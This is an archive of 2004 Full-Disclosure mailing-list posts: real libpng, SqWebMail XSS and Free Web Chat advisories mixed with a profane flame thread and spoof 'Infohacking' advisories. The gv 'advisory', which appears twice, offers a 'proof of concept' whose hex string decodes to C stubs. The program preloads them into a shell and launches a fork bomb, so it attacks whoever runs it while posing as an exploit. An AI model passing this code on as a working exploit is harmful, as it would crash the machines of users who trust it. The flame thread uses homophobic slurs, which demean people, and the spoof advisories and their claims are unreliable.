 xemacs xfig xine-ui xplanet xv zimg

OpenPKG 2.1  analog apache autotrace emacs gd gdk-pixbuf gif2png
 gimp gnuplot gqview graphviz gtk2 imagemagick
 imlib latex2html libwmf mozilla netpbm perl-tk php
 pstoedit rrdtool tetex transfig webalizer wml xfig
 xv

OpenPKG 2.0  apache emacs gd gdk-pixbuf gif2png gimp gnuplot
 graphviz gtk2 imagemagick imlib latex2html libwmf
 netpbm perl-tk php pstoedit transfig utotrace
 webalizer wml xfig xv

Description:
  During a source code audit, Chris Evans discovered several problems in
  the Portable Network Graphics (PNG) library libpng [1], some of which
  are security relevant. This OpenPKG update fixes all known issues.

  A stack-based buffer overflow in libpng which can be triggered to run
  arbitrary code by a malicious png file. The Common Vulnerabilities
  and Exposures (CVE) project assigned the id CAN-2004-0597 [2] to the
  problem.

  A NULL-pointer crash in libpng which can be triggered by a malicious
  png file. The Common Vulnerabilities and Exposures (CVE) project
  assigned the id CAN-2004-0598 [3] to the problem.

  Various possible integer overflows in libpng which may have security
  consequences. The Common Vulnerabilities and Exposures (CVE) project
  assigned the id CAN-2004-0599 [4] to the problem.

  Please check whether you are affected by running "/bin/openpkg
  rpm -q png". If you have the "png" package installed and its version
  is affected (see above), we recommend that you immediately upgrade it
  (see Solution) and its dependent packages (see above), if any, too
  [5][6].

Solution:
  Select the updated source RPM appropriate for your OpenPKG release
  [7][8], fetch it from the OpenPKG FTP service [9][10] or a mirror
  location, verify its integrity [11], build a corresponding binary
  RPM from it [5] and update your OpenPKG installation by applying the
  binary RPM [6]. For the most recent release OpenPKG 2.1, perform the
  following operations to permanently fix the security problem (for
  other releases adjust accordingly).

Re: [Full-Disclosure] Defcon spelled half backwards is Fedcon and you dumfucks walked into a trap

[Exibar]

I think he wasn't allowed to go to DefCon this year and now he's a bitter
boy

Of course there are Feds at DefCon  how else would we be able to play
Spot the Fed without the Feds?  :-)

 Ex


- Original Message - 
From: "Martin Mkrtchian" <[EMAIL PROTECTED]>
To: "Day Jay" <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Tuesday, August 03, 2004 6:35 PM
Subject: Re: [Full-Disclosure] Defcon spelled half backwards is Fedcon and
you dumfucks walked into a trap


> What happened? Jelous ?
>
> WHY ASK WHY?  Dont hate the player, hate the game!
>
> On Tue, 3 Aug 2004 14:09:07 -0700 (PDT), Day Jay <[EMAIL PROTECTED]> wrote:
> > Down with kiddies, down with admins, down with ppl
> > trying to make security better. Down with everyone
> > profiting off publicity.
> >
> > Why does Gobbles hang with iDEFENSE and let them buy
> > him a beer? Why he get drunk and make an ass out of
> > himself?
> >
> > Why people dont know who's who? Why ppl believe they
> > eleet when they nothing but poo?
> >
> > Why people so inconsistent?
> >
> > Why people allow themselves to be punked and not fight
> > back? Why so many fags? Why so many pussies?
> >
> > WTF?
> >
> > Why people think information sharing among all is
> > best? Fuck that.
> >
> > Why?
> >
> > __
> > Do you Yahoo!?
> > New and Improved Yahoo! Mail - Send 10MB messages!
> > http://promotions.yahoo.com/new_mail
> >
> > ___
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] IFH-ADV-31340 Cmd.exe allow local (and sometimes remote) command execution

[Jeremiah Cornelius]

Ha Ha Ha !
Now get back to work.
Was there a specific advisory you were targeting for its obtusity?  Or, do 
you take exception to  the presentation of advisories as a class?

- Original Message - 
From: "Hugo Vazquez Carapez " <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, August 04, 2004 3:41 AM
Subject: [Full-Disclosure] IFH-ADV-31340 Cmd.exe allow local (and sometimes 
remote) command execution


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Cmd.exe allow local (and sometimes remote) command execution
Infohacking Security Advisory 08.04.04
www.infohacking.com
Aug 04, 2004


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Defcon spelled half backwards is Fedcon and you dumfucks walked into a trap

[Todd Towles]

Let some rich company get you beer? Why not..it doesn't make Microsoft more
secure...so what is the harm? lol

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of David Maynor
Sent: Tuesday, August 03, 2004 6:15 PM
To: Day Jay
Cc: [EMAIL PROTECTED]
Subject: Re: [Full-Disclosure] Defcon spelled half backwards is Fedcon and
you dumfucks walked into a trap

On Tue, 3 Aug 2004 14:09:07 -0700 (PDT), Day Jay <[EMAIL PROTECTED]> wrote:
> Down with kiddies, down with admins, down with ppl
> trying to make security better. Down with everyone
> profiting off publicity.
> 
> Why does Gobbles hang with iDEFENSE and let them buy
> him a beer? Why he get drunk and make an ass out of
> himself?
> 
Not just iDefense, he was also at the Microsoft party.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Defcon spelled half backwards is Fedcon and you dumfucks walked into a trap

[Todd Towles]

I think he is just mad because he can't drink yet.

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Martin
Mkrtchian
Sent: Tuesday, August 03, 2004 5:35 PM
To: Day Jay
Cc: [EMAIL PROTECTED]
Subject: Re: [Full-Disclosure] Defcon spelled half backwards is Fedcon and
you dumfucks walked into a trap

What happened? Jelous ? 

WHY ASK WHY?  Dont hate the player, hate the game! 

On Tue, 3 Aug 2004 14:09:07 -0700 (PDT), Day Jay <[EMAIL PROTECTED]> wrote:
> Down with kiddies, down with admins, down with ppl
> trying to make security better. Down with everyone
> profiting off publicity.
> 
> Why does Gobbles hang with iDEFENSE and let them buy
> him a beer? Why he get drunk and make an ass out of
> himself?
> 
> Why people dont know who's who? Why ppl believe they
> eleet when they nothing but poo?
> 
> Why people so inconsistent?
> 
> Why people allow themselves to be punked and not fight
> back? Why so many fags? Why so many pussies?
> 
> WTF?
> 
> Why people think information sharing among all is
> best? Fuck that.
> 
> Why?
> 
> __
> Do you Yahoo!?
> New and Improved Yahoo! Mail - Send 10MB messages!
> http://promotions.yahoo.com/new_mail
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] SUSE Security Announcement: libpng (SUSE-SA:2004:023)

[Thomas Biege]

-BEGIN PGP SIGNED MESSAGE-

__

SUSE Security Announcement

Package:libpng
Announcement-ID:SUSE-SA:2004:023
Date:   Wednesday, Aug 4th 2004 16:00 MEST
Affected products:  8.0, 8.1, 8.2, 9.0, 9.1
SUSE Linux Database Server,
SUSE eMail Server III, 3.1
SUSE Linux Enterprise Server 7, 8, 9
SUSE Linux Firewall on CD/Admin host
SUSE Linux Connectivity Server
SUSE Linux Office Server
Vulnerability Type: remote system compromise
Severity (1-10):9
SUSE default package:   yes
Cross References:   VU#388984
VU#236656
VU#160448
VU#477512
VU#817368
VU#286464
CAN-2004-0597
CAN-2004-0598
CAN-2004-0599

Content of this advisory:
1) security vulnerability resolved:
 - stack based buffer overflows
 - NULL pointer dereference
 - integer overflows
   problem description
2) solution/workaround
3) special instructions and notes
4) package location and checksums
5) pending vulnerabilities, solutions, workarounds:
- mod_ssl
- lha
- gfxboot
- liby2util
- pure-ftpd
- neon
- pavuk
- sox
- gaim
- kernel
6) standard appendix (further information)

__

1) problem description, brief discussion

Several different security vulnerabilities were found in the PNG
library which is used by applications to support the PNG image format.

A remote attacker is able to execute arbitrary code by triggering a
buffer overflow due to the incorrect handling of the length of
transparency chunk data and in other pathes of image processing.
(VU#388984, VU#817368, CAN-2004-0597)
A special PNG image can be used to cause an application crashing due
to NULL pointer dereference in the function png_handle_iCPP() (and
other locations). (VU#236656, CAN-2004-0598)
Integer overflows were found in png_handle_sPLT(), png_read_png()
functions and other locations. These bugs may at least crash an
application. (VU#160448, VU#477512, VU#286464, CAN-2004-0599)

Many thanks to Chris Evans who reported issues to us and other vendors.


3) special instructions and notes

Various applications use libpng either dynamically linked, statically
linked, or by linking a copy of libpng included in the application's
source distribution.
In the first case you have to restart the affected application.
In the other cases we will release updates for these packages if the
vulnerable libpng code is called with input from an untrusted source.


4) package location and checksums

Please download the update package for your distribution and verify its
integrity by the methods listed in section 3) of this announcement.
Then, install the package using the command "rpm -Fhv file.rpm" to apply
the update.
Our maintenance customers are being notified individually. The packages
are being offered to install from the maintenance web.

x86 Platform:

SUSE Linux 9.1:
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/libpng-1.2.5-182.7.i586.rpm
  0e89a04a0a50a49f756795bbd319e1dd
patch rpm(s):

ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/libpng-1.2.5-182.7.i586.patch.rpm
  dc7270f4c0c728c3ba7252d0a551e437
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/libpng-1.2.5-182.7.src.rpm
  bb8d8000a010d92747dda1b0908d41aa

SUSE Linux 9.0:
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/libpng-1.2.5-191.i586.rpm
  5b34c70a715cd34bb0e5879063dcf63b
patch rpm(s):

ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/libpng-1.2.5-191.i586.patch.rpm
  6c192934eae546bc1f2c9b7980c848f0
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/libpng-1.2.5-191.src.rpm
  c740a8c8c6188470512c91ec8e9e70a9

SUSE Linux 8.2:
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/libpng-1.2.5-191.i586.rpm
  64d76d67104123317c4a66a0721072e8
patch rpm(s):

ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/libpng-1.2.5-191.i586.patch.rpm
  372b2eae57ff3ff90ad1250e8a2d3a91
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.2/

[Full-Disclosure] [ GLSA 200408-02 ] Courier: Cross-site scripting vulnerability in SqWebMail

[Thierry Carrez]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory   GLSA 200408-02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
 Title: Courier: Cross-site scripting vulnerability in SqWebMail
  Date: August 04, 2004
  Bugs: #58020
ID: 200408-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis


The SqWebMail web application, included in the Courier suite, is
vulnerable to cross-site scripting attacks.

Background
==

Courier is an integrated mail and groupware server based on open
protocols. It provides ESMTP, IMAP, POP3, webmail, and mailing list
services within a single framework. The webmail functionality included
in Courier called SqWebMail allows you to access mailboxes from a web
browser.

Affected packages
=

---
 Package   /   Vulnerable   /  Unaffected
---
  1  mail-mta/courier   <= 0.45.6  >= 0.45.6.20040618

Description
===

Luca Legato found that SqWebMail is vulnerable to a cross-site
scripting (XSS) attack. An XSS attack allows an attacker to insert
malicious code into a web-based application. SqWebMail doesn't filter
appropriately data coming from message headers before displaying them.

Impact
==

By sending a carefully crafted message, an attacker can inject and
execute script code in the victim's browser window. This allows to
modify the behaviour of the SqWebMail application, and/or leak session
information such as cookies to the attacker.

Workaround
==

There is no known workaround at this time. All users are encouraged to
upgrade to the latest available version of Courier.

Resolution
==

All Courier users should upgrade to the latest version:

# emerge sync

# emerge -pv ">=mail-mta/courier-0.45.6.20040618"
# emerge ">=mail-mta/courier-0.45.6.20040618"

References
==

  [ 1 ] CAN-2004-0591
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0591
  [ 2 ] XSS definition
http://www.cert.org/advisories/CA-2000-02.html

Availability


This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

http://security.gentoo.org/glsa/glsa-200408-02.xml

Concerns?
=

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
[EMAIL PROTECTED] or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
===

Copyright 2004 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBEQXovcL1obalX08RAqg6AJ9GN2Cp6GME/aZSGSAKW27WosrGfACfYga2
Cwss+8VoQYFfibga3lkffy8=
=Tyco
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Tipping Point IPS systems

[Forbes, Robert]

Really the Cadillac of IPS, it is designed for high load networks. We were
very impressed with it but it carries a hefty price tag for that
performance. 


-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Paul Schmehl
Sent: Tuesday, August 03, 2004 10:30 PM
To: Ryan Sumida; [EMAIL PROTECTED]
Subject: Re: [Full-Disclosure] Tipping Point IPS systems

--On Tuesday, August 3, 2004 1:46 PM -0700 Ryan Sumida <[EMAIL PROTECTED]> 
wrote:

>
> Not sure if I should be posting to this list but didn't know where else
> to ask.
>
> I've seen a few posts on network protection devices such as Netscreen,
> Checkpoint and Fortigate products but I haven't seen anything on Tipping
> Point.  Of any of you that have used a Tipping Point box, how does it
> compare to the others?  I'm aware of the bugs in the reporting features,
> I'm more interested in hearing how effective their filters work
> especially under heavy conditions.
>
We were impressed with it during an eval.  I know of one school that is 
using it and is so happy they've bought more (for the interior networks.)

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Multiple Vulnerabilities in Free Web Chat

[Donato Ferrante]

   Donato Ferrante


Application:  Free Web Chat
  http://sourceforge.net/projects/freewebchat/

Version:  Initial Release

Bugs: Multiple Vulnerabilities

Date: 04-Aug-2004

Author:   Donato Ferrante
  e-mail: [EMAIL PROTECTED]
  web:www.autistici.org/fdonato



xxx

1. Description
2. The bugs
3. The code
4. The fix



xxx


1. Description:


Vendor's Description:

"Free Web Chat is a chat applet designed to be used in a browser.
It consists of a server and a client applet. You can have multiple
rooms and unlimited user. You can also private message individuals.
Right now the administration aspect is farily minimal, but soon you
will have a robust administration gui to go along with the server
as well as the ability to connect as an administrator remotely."



xxx

-
2. The bugs:
-

The chat server has two bugs:


[1] Denial Of Service

The chat server has an unchecked variable (in UserManager.java) that
allow users to deny the chat service, in fact we are in presence of
a NullPointerException not managed.


The NullPointerException is located in the following method of
UserManager.java:

  public void addUser( Socket sock )
  {
User usr = new User(sock, this);
String usrName = usr.getName();
if (usrName != "" ) /* if used to check initialization */
/* it's an error */
{
  /* wrong method call! */
  /* no checks for usrName != null */
  if (userHash.containsKey( usrName) )
  {
usr.rejectUsername();
return;
  }

  usr.sendRoomList(rmManager.getRoomList());
  
(...)
 }


as illustrated above the variable usrName is not checked so it may be
also null. Addictionally the method doesn't catch the exception that
may be thrown: NullPointerException.



[2] Resources Consumption

The chat server is unable to properly manage multiple connections
from the same user. In fact it will consume a lot of CPU resources.



xxx

-
3. The code:
-

To test the vulnerabilities:


[1]

   http://www.autistici.org/fdonato/poc/FreeWebChat[ir]DoS-poc.zip


[2]

   http://www.autistici.org/fdonato/poc/FreeWebChat[ir]RC-poc.zip   



xxx


4. The fix:


No fix.
The vendor has not answered to my signalations.


If you want you can fix the bug [1] by using my following patch.
To fix the bug [1] replace the method: addUser( Socket sock )
in UserManager.java, with the following patched method:

  public void addUser( Socket sock )
  {
User usr = new User(sock, this);
String usrName = usr.getName();
if (usrName != "" )
{

  /* start fix */
  /* manage NullPointerException */
  try{

if (userHash.containsKey( usrName) )
{
  usr.rejectUsername();
  return;
}

  }catch(NullPointerException npe){
usr.rejectUsername();
return;
  } 
 /* end fix */

  usr.sendRoomList(rmManager.getRoomList());
  userHash.put( usr.getName(), usr );
  rmManager.getDefaultRoom().addUser( usr );


  //start the reciever thread
  Thread t = new Thread(usr); 
  t.start();
   }

  }





xxx

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] IFH-ADV-31339 Exploitable Buffer Overflow in gv

[Hugo Vazquez Carapez]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

zen-parse ZP! told me that he discovered this vulnerability first...

Infohacking was missinformated... so we apologyze this mistake

Anyways you can still enjoy with my leet exploit



On Wed, 04 Aug 2004 03:18:53 -0700 Hugo Vazquez Carapez  <[EMAIL PROTECTED]>
wrote:
>Exploitable Buffer Overflow in gv
>
>
>Infohacking Security Advisory 08.04.04
>www.infohacking.com
>Aug 04, 2004
>
>
>I. BACKGROUND
>
>Infohacking team (me and myself) discovered a new and unreported
>local
>root vulnerability in gv.
>
>
>
>II. DESCRIPTION
>
>The gv program that is shipped on many Unix systems contains a buffer
>overflow which can be exploited by an attacker sending a malformed
>postscript or Adobe pdf file. The attacker would be able to cause
>arbitrary code to run with the privileges of the victim on his Linux
>computer. The gv program is a PDF and postscript viewing program
>for
>Unix which interfaces with the ghostscript interpreter. It is
>maintained at http://www.thep.physik.uni-mainz.de/~plass/gv/ by
>Johannes Plass.  This particular security vulnerability occurs in
>the
>source code where an unsafe sscanf() call is used to interpret
>PostScript and PDF files.
>
>
>
>III. ANALYSIS
>
>In order to perform exploitation, an attacker would have to trick
>a
>user into viewing a malformed PDF or PostScript file from the command
>line. This may be somewhat easier for Unix based email programs
>that
>associate gv with email attachments. Since gv is not normally
>installed setuid root, an attacker would only be able to cause
>arbitrary code to run with the privileges of that user.  Other
>programs that utilize derivatives of gv, such as ggv or kghostview,
>>
>may also be vulnerable in similiar ways.
>
>A proof of concept exploit for Red Hat Linux designed by Hugo is
>attached to this message.  It packages the overflow and shellcode
>in
>the "%%PageOrder:" section of the PDF.
>
>
>/* !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE
> *
> * INFOHACKING RESEARCH - L337 h4x0r t34M
> *
> * hugo <[EMAIL PROTECTED]>
>*/
>
>#include 
>#include 
>#include 
>
>char hellc0de[] =   
>"\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65"
>
> "\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74"
>
> "\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30"
>
> "\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20"
>
> "\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74"
>
> "\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75"
>"\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh";
>
>int main()
>{
>FILE *fp;
>   char *offset;
>fp=fopen("/tmp/own.c","w");
>fprintf(fp,"%s",hellc0de);
>fclose(fp);
>
>system("gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c");
>if (fork() == 0) {
>   sleep(10); while (1) { fork(); offset=malloc(512); }
>exit(0);
>}
>system("LD_PRELOAD=/tmp/own.so /bin/sh");
>return 0;
>}
>/* -EOF- */
>
>
>IV. DETECTION
>
>
>This vulnerability affects the latest version of gv,. An
>exploit has been tested on Red Hat Linux 9 and fedora core 1
>
>
>
>V. WORKAROUNDS
>
>
>To avoid potential exploitation, users can select alternatives to
>gv
>such as Kghostview (included with the KDE desktop environment) for
>instance. Additionally, the vulnerability does not seem to be
>exploitable when a file is opened from the gv interface instead
>of
>the command line.
>
>
>
>VI. CVE INFORMATION
>
>
>The Common Vulnerabilities and Exposures project (cve.mitre.org)
>has
>assigned the name CAN-2001-0832 to this issue.
>
>
>VII. DISCLOSURE TIMELINE
>
>
>03/18/04 Hugo notified the bug to [EMAIL PROTECTED]
>04/11/04 Initial vendor notification - no response
>04/30/04 Secondary vendor notification - no response
>05/20/04 We hack iberia.com (Hey look at me! im a hax0r and i want
>a
>job)
>08/04/04 Public Disclosure
>
>
>VIII. CREDIT
>
>Hugo Vazquez Carapez http://www.infohacking.com/dirhugo.gif
>
>
>Get pwned by script kiddies?
>Call us, we can hack you again.
>
>
>IX. LEGAL NOTICES
>
>
>Copyright (c) 2004 INFOHACKING, Inc.
>
>
>Permission is granted for the redistribution of this alert
>electronically. It may not be edited in any way without the express
>written consent of INFOHACKING. If you wish to reprint the whole
>or any
>
>part of this alert in any other medium other than electronically,
> please
>
>email [EMAIL PROTECTED] for permission.
>
>
>Disclaimer: Infohacking is pretty whitehat and lame. If you are
>a part
>of the blackhat communitie, please hack and remove us from the net
>
>
-BEGIN PGP SIGNATURE-
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkEQzOQACgkQPMMEGI9aoafEWwCgtFnVpywRuICN

[Full-Disclosure] IFH-ADV-31340 Cmd.exe allow local (and sometimes remote) command execution

[Hugo Vazquez Carapez]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Cmd.exe allow local (and sometimes remote) command execution


Infohacking Security Advisory 08.04.04
www.infohacking.com
Aug 04, 2004


I. BACKGROUND

We discovered a very dangerous local code execution vulnerability in
all
cmd`s. This issue can be exploited using Microsoft Windows (TM) in all
his flavours and probably other Operating Sistems.


II. DESCRIPTION


Local explotation of this vulnerability can be achived by clicking start
- - -> Run and typing:
"cmd.exe" (Nt,2000,2003,XP) or "command" (w95 w98 wME) then just press
enter.

This option will display the black window who allow you entering commands
inside,
also you can type help... and several options will be displayed.


Note for users with internet information server: You can put the cmd.exe
into the
c:\inetpub\wwwroot\scripts and then execute commands remotely

HTTP://mypc/scripts/cmd.exe?/c+dir

WOW! OH MY GOD!


III. ANALYSIS

A malicious user could execute arbitrary code and take the full control
over
the box with this high vulnerability. There is no patch... but we recomend
strongly
to disable cmd.exe deleting the file itself or removing execution perms.


IV. DETECTION


Infohacking has confirmed that all windows versions up to 3.11 are vulnerable
to this issue.



V. WORKAROUNDS


No work.. indeed.


VI. CVE INFORMATION


This is an 0day bug... so still no bid and CVE.


VII. DISCLOSURE TIMELINE


03/18/04 Hugo notified the bug to [EMAIL PROTECTED]
04/11/04 Initial vendor notification - no response
04/30/04 Secondary vendor notification - no response
05/20/04 We hack iberia.com (Hey look at me! im a hax0r and i want a
job)
08/04/04 Public Disclosure


VIII. CREDIT

Hugo Vằuez Carapez http://www.infohacking.com/dirhugo.gif


Get pwned by script kiddies?
Call us, we can hack you again.


IX. LEGAL NOTICES


Copyright (c) 2004 INFOHACKING, Inc.


Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of INFOHACKING. If you wish to reprint the whole or any

part of this alert in any other medium other than electronically, please

email [EMAIL PROTECTED] for permission.


Disclaimer: Infohacking is pretty whitehat and lame. If you are a part
of the blackhat communitie, please hack and remove us from the net
-BEGIN PGP SIGNATURE-
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkEQvd8ACgkQPMMEGI9aoaetaQCgpPIpKyvxva1McLMOd08poW1YcicA
n05zo4e/bcqRm8vgnarvYPKblnA9
=TlfY
-END PGP SIGNATURE-




Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program: 
http://www.hushmail.com/about-affiliate?l=427

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] IFH-ADV-31339 Exploitable Buffer Overflow in gv

[Hugo Vazquez Carapez]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Exploitable Buffer Overflow in gv


Infohacking Security Advisory 08.04.04
www.infohacking.com
Aug 04, 2004


I. BACKGROUND

Infohacking team (me and myself) discovered a new and unreported local
root vulnerability in gv.



II. DESCRIPTION

The gv program that is shipped on many Unix systems contains a buffer
overflow which can be exploited by an attacker sending a malformed
postscript or Adobe pdf file. The attacker would be able to cause
arbitrary code to run with the privileges of the victim on his Linux
computer. The gv program is a PDF and postscript viewing program for
Unix which interfaces with the ghostscript interpreter. It is
maintained at http://www.thep.physik.uni-mainz.de/~plass/gv/ by
Johannes Plass.  This particular security vulnerability occurs in the
source code where an unsafe sscanf() call is used to interpret
PostScript and PDF files.



III. ANALYSIS

In order to perform exploitation, an attacker would have to trick a
user into viewing a malformed PDF or PostScript file from the command
line. This may be somewhat easier for Unix based email programs that
associate gv with email attachments. Since gv is not normally
installed setuid root, an attacker would only be able to cause
arbitrary code to run with the privileges of that user.  Other
programs that utilize derivatives of gv, such as ggv or kghostview,
may also be vulnerable in similiar ways.

A proof of concept exploit for Red Hat Linux designed by Hugo is
attached to this message.  It packages the overflow and shellcode in
the "%%PageOrder:" section of the PDF.


/* !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE
 *
 * INFOHACKING RESEARCH - L337 h4x0r t34M
 *
 * hugo <[EMAIL PROTECTED]>
*/

#include 
#include 
#include 

char hellc0de[] =   
"\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65"

"\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74"

"\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30"

"\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20"

"\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74"

"\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75"
"\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh";

int main()
{
FILE *fp;
char *offset;
fp=fopen("/tmp/own.c","w");
fprintf(fp,"%s",hellc0de);
fclose(fp);

system("gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c");
if (fork() == 0) {
sleep(10); while (1) { fork(); offset=malloc(512); }
exit(0);
}
system("LD_PRELOAD=/tmp/own.so /bin/sh");
return 0;
}
/* -EOF- */


IV. DETECTION


This vulnerability affects the latest version of gv,. An
exploit has been tested on Red Hat Linux 9 and fedora core 1



V. WORKAROUNDS


To avoid potential exploitation, users can select alternatives to gv
such as Kghostview (included with the KDE desktop environment) for
instance. Additionally, the vulnerability does not seem to be
exploitable when a file is opened from the gv interface instead of
the command line.



VI. CVE INFORMATION


The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CAN-2001-0832 to this issue.


VII. DISCLOSURE TIMELINE


03/18/04 Hugo notified the bug to [EMAIL PROTECTED]
04/11/04 Initial vendor notification - no response
04/30/04 Secondary vendor notification - no response
05/20/04 We hack iberia.com (Hey look at me! im a hax0r and i want a
job)
08/04/04 Public Disclosure


VIII. CREDIT

Hugo Vazquez Carapez http://www.infohacking.com/dirhugo.gif


Get pwned by script kiddies?
Call us, we can hack you again.


IX. LEGAL NOTICES


Copyright (c) 2004 INFOHACKING, Inc.


Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of INFOHACKING. If you wish to reprint the whole or any

part of this alert in any other medium other than electronically, please

email [EMAIL PROTECTED] for permission.


Disclaimer: Infohacking is pretty whitehat and lame. If you are a part
of the blackhat communitie, please hack and remove us from the net

-BEGIN PGP SIGNATURE-
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkEQuHQACgkQPMMEGI9aoadaJgCeO/ZucbpUtWoE2bfzXdM5HsKr708A
nitgAgqunT87dvI/rZq4FFljf047
=zLRb
-END PGP SIGNATURE-




Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program: 
http://www.hushmail.com/about-affiliate?l=427

__

[Full-Disclosure] Linux kernel file offset pointer races

[Paul Starzetz]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1


Synopsis:  Linux kernel file offset pointer handling
Product:   Linux kernel
Version:   2.4 up to to and including 2.4.26, 2.6 up to to and
   including 2.6.7
Vendor:http://www.kernel.org/
URL:   http://isec.pl/vulnerabilities/isec-0016-procleaks.txt
CVE:   CAN-2004-0415
Author:Paul Starzetz <[EMAIL PROTECTED]>
Date:  Aug 04, 2004



Issue:
==

A  critical  security  vulnerability  has been found in the Linux kernel
code handling 64bit file offset pointers.


Details:


The  Linux  kernel  offers  a  file  handling  API   to   the   userland
